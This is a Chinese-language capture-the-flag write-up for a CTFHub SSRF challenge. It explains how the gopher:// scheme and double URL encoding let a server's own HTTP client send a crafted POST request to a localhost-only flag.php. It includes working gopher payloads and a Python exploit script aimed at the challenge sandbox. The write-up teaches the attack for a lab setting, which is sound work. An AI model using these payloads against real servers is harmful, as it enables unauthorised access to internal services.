CTFHub SSRF 实战:Gopher 协议构造 POST 请求绕过本地限制

Jun 9, 2026 分钟阅读

一、题目信息

  • 平台:CTFHub
  • 分类:Skill / Web / SSRF
  • 考点:SSRF(服务器端请求伪造)、Gopher 协议、双重 URL 编码、HTTP 报文构造

题目场景:存在一个 ?url= 参数,服务器会代为请求用户指定的地址。目标 flag.php 限制仅本地访问,且需要 POST 提交正确的 key。


二、SSRF 原理

2.1 什么是 SSRF?

SSRF(Server-Side Request Forgery,服务器端请求伪造)是指攻击者通过服务端应用,向服务端所在网络或本地发起请求的攻击方式。

在本题中,?url= 参数就是 SSRF 的注入点。服务器接收到用户传入的 URL 后,使用自身的 HTTP Client(如 PHP 的 file_get_contents() 或 curl)去请求该地址,并将结果返回给用户。

2.2 为什么能访问 127.0.0.1?

访问控制通常发生在多个层级:

层级控制方式本题情况
网络层 (L3)iptables / 防火墙未限制回环接口
传输层 (L4)TCP 监听绑定Apache 绑定 0.0.0.0:80,本地可连
应用层 (L7)PHP 代码逻辑flag.php 仅检查 $_SERVER['REMOTE_ADDR'] === '127.0.0.1'

当服务端代码发起请求时,它的身份是服务器进程,出站连接的源地址是 127.0.0.1,因此满足 flag.php 的本地访问控制策略。

核心逻辑:你并没有绕过防火墙,你只是借用了服务器自己的受信任身份。


三、Gopher 协议的特殊性

3.1 HTTP Scheme 的问题

如果直接传:

1?url=http://127.0.0.1/flag.php

服务端 HTTP Client 的行为由 URI Scheme http:// 决定:

  1. 解析 host、port、path
  2. 建立 TCP 连接到 127.0.0.1:80
  3. 自动构造 HTTP GET 请求报文发送
  4. 返回响应

你无法控制第 3 步生成的报文,它永远是一个格式固定的 GET 请求。

3.2 Gopher Scheme 的差异

RFC 4266 定义了 Gopher URI Scheme。在 curl 的实现中,Gopher 协议的处理逻辑是:

  1. 连接到 <host>:<port>
  2. 将 <selector>(即 gopher-type 后的所有内容)直接写入 TCP socket
  3. 读取返回的数据直到连接关闭

没有 HTTP 报文构造,没有 method/path/header 解析,只有原始 TCP 写操作。

这就是为什么 gopher://127.0.0.1:80/_POST ... 能把 _ 后面的字符串原封不动地作为 TCP payload 发送出去。对目标 Apache 而言,它收到的就是一个普通的 HTTP 请求流。


四、HTTP 作为文本协议的兼容性

HTTP/1.1 是基于 TCP 的文本协议。Apache 从 socket 读取数据的逻辑大致是:

1read_line()  // 读取请求行: POST /flag.php HTTP/1.1
2read_line()  // 读取 Header: Host: 127.0.0.1:80
3...
4read_line()  // 空行 \r\n,表示 Header 结束
5read_body(content_length)  // 读取指定字节的 body

TCP 是字节流协议,没有消息边界。Apache 依靠 CRLF (\r\n) 作为行分隔符,依靠 空行后的 Content-Length 确定 body 边界。

Gopher Client 发送的 TCP payload 如果恰好符合 HTTP ABNF 语法,Apache 就会将其当作合法的 HTTP 请求处理。这是协议层面的兼容性。


五、双重 URL 编码的本质

这是最容易被混淆的部分。需要区分 两次 URL 解析发生的时机和语义。

5.1 第一层编码:保证 Gopher Selector 的合法性

Gopher URI 的整体需要符合 RFC 3986 的 URI 语法。URI 中不允许出现裸空格、CRLF 等字符。

因此,原始 HTTP 报文作为 Gopher selector 的一部分,必须进行 percent-encoding:

1原始:     POST /flag.php HTTP/1.1\r\nHost: ...
2编码后:   POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20...

这确保生成的字符串是一个合法的 URI,可以被 HTTP Client(curl)正确解析。

5.2 第二层编码:HTTP Query Parameter 的传输要求

整个 Gopher URI 被嵌入到外层 HTTP 请求的 Query String 中:

1GET /?url=<gopher-uri> HTTP/1.1

根据 RFC 3986,Query 部分的字符集同样受限。更重要的是,Web 服务器(Nginx/OpenResty)和应用服务器(PHP)在接收请求时会执行 一次标准的 URI decoding。如果 Gopher URI 中的 %20 未经编码就直接出现在 Query String 里,它会被服务器解码成空格,导致 url 参数的值被破坏。

因此需要对 Gopher URI 整体再次进行 percent-encoding:

字符第一层(Gopher selector)第二层(Query param)
空格%20%2520
\r%0D%250D
\n%0A%250A
:%3A%253A

5.3 解码时序

 1浏览器/你发送
 2    ↓
 3Nginx/OpenResty 接收,URI decode 一次
 4    → %2520 变成 %20
 5    ↓
 6PHP $_GET['url'] 获取到值
 7    → 字符串内容: gopher://127.0.0.1:80/_POST%20/flag.php...
 8    ↓
 9PHP file_get_contents() / curl 解析 URL
10    → 识别为 gopher scheme
11    → 对 selector 部分再次 decode
12    → %20 变成空格,%0D%0A 变成 CRLF
13    ↓
14建立 TCP 连接,发送原始 HTTP 报文

两次编码对应两次独立的 URI 解析上下文,不是"为了绕过 WAF",而是协议嵌套的数据完整性要求。


六、攻击流程

6.1 第一步:获取 key

先用 Gopher 发送 GET 请求访问 flag.php,查看返回内容:

1gopher://127.0.0.1:80/_GET%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0A%0D%0A

双重编码后作为 ?url= 参数提交。返回的 HTML 中包含注释泄露的 key:

1<!-- Debug: key=8c521ddf9c2daff0ad4b4f790e66f239-->

6.2 第二步:构造 POST 请求

原始 HTTP 报文:

1POST /flag.php HTTP/1.1
2Host: 127.0.0.1:80
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 36
5
6key=8c521ddf9c2daff0ad4b4f790e66f239

注意:

  • 每行结尾必须是 \r\n
  • 空行后才是 body
  • Content-Length 必须严格等于 body 字节数(|key=...| = 36 bytes)

6.3 第三步:双重编码生成最终 URL

 1import urllib.parse
 2
 3http_request = (
 4    "POST /flag.php HTTP/1.1\r\n"
 5    "Host: 127.0.0.1:80\r\n"
 6    "Content-Type: application/x-www-form-urlencoded\r\n"
 7    "Content-Length: 36\r\n"
 8    "\r\n"
 9    "key=8c521ddf9c2daff0ad4b4f790e66f239\r\n"
10)
11
12# 第一层编码
13gopher = "gopher://127.0.0.1:80/_" + urllib.parse.quote(http_request)
14
15# 第二层编码
16final_url = (
17    "http://challenge-8375416bad4beb9c.sandbox.ctfhub.com:10800/?url="
18    + urllib.parse.quote(gopher, safe="")
19)
20
21print(final_url)

七、利用脚本

完整的自动化脚本:

 1#!/usr/bin/env python3
 2import urllib.parse
 3import urllib.request
 4
 5
 6def build_url(key: str) -> str:
 7    body = f"key={key}"
 8    http = (
 9        f"POST /flag.php HTTP/1.1\r\n"
10        f"Host: 127.0.0.1:80\r\n"
11        f"Content-Type: application/x-www-form-urlencoded\r\n"
12        f"Content-Length: {len(body)}\r\n"
13        f"\r\n"
14        f"{body}\r\n"
15    )
16    gopher = "gopher://127.0.0.1:80/_" + urllib.parse.quote(http)
17    return (
18        "http://challenge-8375416bad4beb9c.sandbox.ctfhub.com:10800/?url="
19        + urllib.parse.quote(gopher, safe="")
20    )
21
22
23if __name__ == "__main__":
24    url = build_url("8c521ddf9c2daff0ad4b4f790e66f239")
25    print(f"[+] URL: {url}\n")
26
27    req = urllib.request.Request(
28        url,
29        headers={"User-Agent": "Mozilla/5.0"},
30    )
31    with urllib.request.urlopen(req, timeout=15) as resp:
32        print(resp.read().decode("utf-8", errors="ignore"))

八、总结

概念本题中的体现
SSRF借用服务端 HTTP Client 的身份访问本地受限资源
Gopher Scheme利用 curl/PHP 对 gopher:// 的实现特性,获得原始 TCP 写能力
协议兼容性HTTP 作为文本协议,可被任意 TCP payload 驱动,只要格式合法
Percent-encoding 嵌套两层 URI 解析上下文要求两次编码,保证数据完整性
HTTP 报文构造手动计算 Content-Length,使用 CRLF,符合 RFC 7230

这道题的核心在于理解:URI Scheme 决定了 HTTP Client 的行为模式,而 Gopher 的"透传"特性让我们能够完全控制应用层报文,从而绕过 GET 方法的限制,向内网服务发送任意构造的 POST 请求。


参考